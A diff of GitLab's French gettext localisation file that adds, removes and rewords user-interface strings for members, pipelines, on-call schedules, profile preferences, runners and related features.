-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr "Niveau d’accès maximum"
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr "Les demandes de fusion permettent de proposer les modifications que vous
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr "Les listes de jalon affichent tous les tickets à partir du jalon sélec
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "Le jalon %{milestoneTitle} est introuvable"
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr "Se déconnecter et se reconnecter avec un autre compte"
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr "Jamais"
msgid "New"
msgstr "Nouveau"
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr "Aucune connexion n’a pu être établie avec un serveur Gitaly, veuille
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr "Non, importer directement les adresses de courriel et les noms d’utilisateur existants."
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "Indisponible"
@@ -18400,6 +18812,9 @@ msgstr "Données insuffisantes"
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr "Afficher uniquement l’historique"
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr "Pipeline en échec"
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "Fusionner la demande de fusion"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr "Nouvelle épopée"
@@ -18505,6 +18932,9 @@ msgstr "Nouvelle note"
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "Réassigner le ticket"
@@ -18514,6 +18944,9 @@ msgstr "Réassigner la demande de fusion"
msgid "NotificationEvent|Reopen issue"
msgstr "Rouvrir le ticket"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "Pipeline réussi"
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr "Un ou plusieurs de vos projets Google Code ne peuvent être importés directement dans GitLab parce qu’ils utilisent Subversion ou Mercurial comme gestionnaire de versions au lieu de Git."
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr "Ouvrir la barre latérale"
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr "Vous pouvez éventuellement %{link_to_customize} la manière dont les adresses de courriel et les noms d’utilisateur issus de FogBugz sont importés dans GitLab."
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr "Vous pouvez éventuellement %{link_to_customize} la manière dont les adresses de courriel et les noms d’utilisateur issus de Google Code sont importés dans GitLab."
-
msgid "Options"
msgstr "Options"
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr "Planifications de pipelines"
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr "CI Lint"
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr "Chargement des pipelines"
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr "Réinitialisation du cache de projet réussie."
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr "Exécuter un pipeline"
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr "Une erreur s’est produite lors du nettoyage du cache des exécuteurs."
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr "Veuillez choisir une URL de groupe sans caractères spéciaux."
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr "Veuillez les convertir en dépôts Git sur Google Code et repasser par %{link_to_import_flow}."
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr "Profil"
msgid "Profile Settings"
msgstr "Paramètres du profil"
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr "Vous êtes sur le point de supprimer définitivement %{yourAccount}, ain
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr "Vous êtes sur le point de changer le nom d’utilisateur %{currentUsernameBold} en %{newUsernameBold}. Le profil et les projets seront redirigés vers l’espace de noms %{newUsername}, mais cette redirection expire si un nouvel utilisateur ou un nouveau groupe est créé avec l’ancien nom %{currentUsername}. Veuillez mettre à jour vos dépôts Git dès que possible."
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr "L’avatar sera supprimé. Êtesâ€vous sûr·e ?"
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr "Changer le nom d’utilisateur·rice"
@@ -20691,9 +21181,6 @@ msgstr "Avatar du projet"
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr "Promouvoir en tant qu’étiquette de groupe"
@@ -21837,6 +22339,9 @@ msgstr "Événements de poussée"
msgid "Push project from command line"
msgstr "Pousser le projet en ligne de commande"
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr "Pousser pour créer un projet"
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr "Rediriger vers le fournisseur SAML pour tester la configuration"
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr "Me le rappeler ultérieurement"
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr "Rouvrir l’épopée"
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr "Rapports"
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr "Durée d’exécution"
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr "Échec"
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr "Dépôt"
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr "Stockage du dépôt"
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr "Réinitialiser le jeton d’accès au bilan de santé"
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr "Réessayer"
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr "Relancer cette tâche"
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr "Revoyez le processus de configuration des fournisseurs de service chez votre fournisseur d’identité — dans le cas présent, GitLab est le « fournisseur de service » ou le « tiers de confiance »."
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr "Examen"
@@ -23048,6 +23587,9 @@ msgstr "Exécuter les tâches non étiquetées"
msgid "Runner cannot be assigned to other projects"
msgstr "L’exécuteur ne peut être affecté à d’autres projets"
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr "L’exécuteur exécute des tâches de tous les projets non attribués"
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr "Enregistrer l’application"
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr "Sauvegarder la planification du pipeline"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr "Rechercher des projets"
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr "Sélectionnez le projet afin de choisir la zone"
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr "Sélectionnez les projets que vous souhaitez importer."
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr "Configurez votre projet afin de pouvoir pousser et/ou récupérer automatiquement les modifications vers ou depuis un autre dépôt. Les branches, les étiquetets et les commits seront automatiquement synchronisés."
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "définir un mot de passe"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr "Ajouter un émoji d’état"
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr "Effacer l’état"
@@ -24455,6 +24988,9 @@ msgstr "Définir l’état"
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr "Désolé, l’état n’a pas pu être défini. Veuillez réessayer ultérieurement."
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr "Quel est votre état ?"
@@ -24551,9 +25087,6 @@ msgstr "Transactions Sherlock"
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr "Afficher la dernière version"
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] "Affichage de %d évènement"
msgstr[1] "Affichage de %d événements"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
